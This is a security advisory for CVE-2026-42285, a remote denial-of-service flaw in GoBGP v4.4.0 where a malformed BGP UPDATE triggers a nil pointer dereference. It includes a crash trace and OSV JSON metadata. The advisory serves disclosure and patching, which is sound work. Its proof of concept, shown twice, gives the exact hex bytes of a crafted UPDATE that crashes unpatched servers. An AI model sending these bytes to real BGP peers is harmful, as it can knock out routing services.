GHSA-P3W2-64XM-833J
Vulnerability from github – Published: 2026-05-05 20:57 – Updated: 2026-05-08 20:42Summary
Remote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing An unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.
Details
The vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.
Triggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., "attribute value length is short"), GoBGP logs a warning: the received Update message was treated as withdraw.
Code Path:
The message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.
Due to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.
The execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.
The Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.
Log Snippet:
{"time":"2026-04-21T12:43:10.009107962+08:00","level":"WARN","msg":"the received Update message was treated as withdraw","Topic":"Peer","Key":"192.168.31.195","State":"BGP_FSM_ESTABLISHED","Error":"attribute value length is short"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]
goroutine 52 [running]:
github.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})
/home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8
github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)
/home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)
/home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)
/home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25
github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)
/home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82
created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37
/home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5
PoC
[SEND] OPEN
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00
[RECV] Type: 1 | Length: 77
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02
[+] Received OPEN from peer
[SEND] KEEPALIVE
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[RECV] Type: 4 | Length: 19
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[+] BGP Session Established
[SEND] Crafted UPDATE
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00
[*] Waiting for peer reaction...
[+] Done.
Impact
Remote Denial of Service (DoS) in GoBGP v4.4.0
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/osrg/gobgp/v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.4.0"
},
{
"fixed": "4.5.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.4.0"
]
}
],
"aliases": [
"CVE-2026-42285"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T20:57:14Z",
"nvd_published_at": "2026-05-07T12:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\nRemote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing\nAn unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \"withdraw\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.\n\n\n### Details\nThe vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.\n\nTriggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., \"attribute value length is short\"), GoBGP logs a warning: the received Update message was treated as withdraw.\n\nCode Path:\n\nThe message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.\n\nDue to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.\n\nThe execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.\n\nThe Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.\n\nLog Snippet:\n```\n{\"time\":\"2026-04-21T12:43:10.009107962+08:00\",\"level\":\"WARN\",\"msg\":\"the received Update message was treated as withdraw\",\"Topic\":\"Peer\",\"Key\":\"192.168.31.195\",\"State\":\"BGP_FSM_ESTABLISHED\",\"Error\":\"attribute value length is short\"}\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]\n\ngoroutine 52 [running]:\ngithub.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})\n /home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8\ngithub.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)\n /home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4\ngithub.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)\n /home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6\ngithub.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)\n /home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25\ngithub.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)\n /home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82\ncreated by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37\n /home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5\n\n```\n\n### PoC\n```\n[SEND] OPEN\n Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00\n[RECV] Type: 1 | Length: 77\n Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02\n[+] Received OPEN from peer\n[SEND] KEEPALIVE\n Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04\n[RECV] Type: 4 | Length: 19\n Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04\n[+] BGP Session Established\n[SEND] Crafted UPDATE\n Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00\n[*] Waiting for peer reaction...\n[+] Done.\n```\n\n### Impact\nRemote Denial of Service (DoS) in GoBGP v4.4.0",
"id": "GHSA-p3w2-64xm-833j",
"modified": "2026-05-08T20:42:39Z",
"published": "2026-05-05T20:57:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42285"
},
{
"type": "PACKAGE",
"url": "https://github.com/osrg/gobgp"
},
{
"type": "WEB",
"url": "https://github.com/osrg/gobgp/releases/tag/v4.5.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "GoBGP has a panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.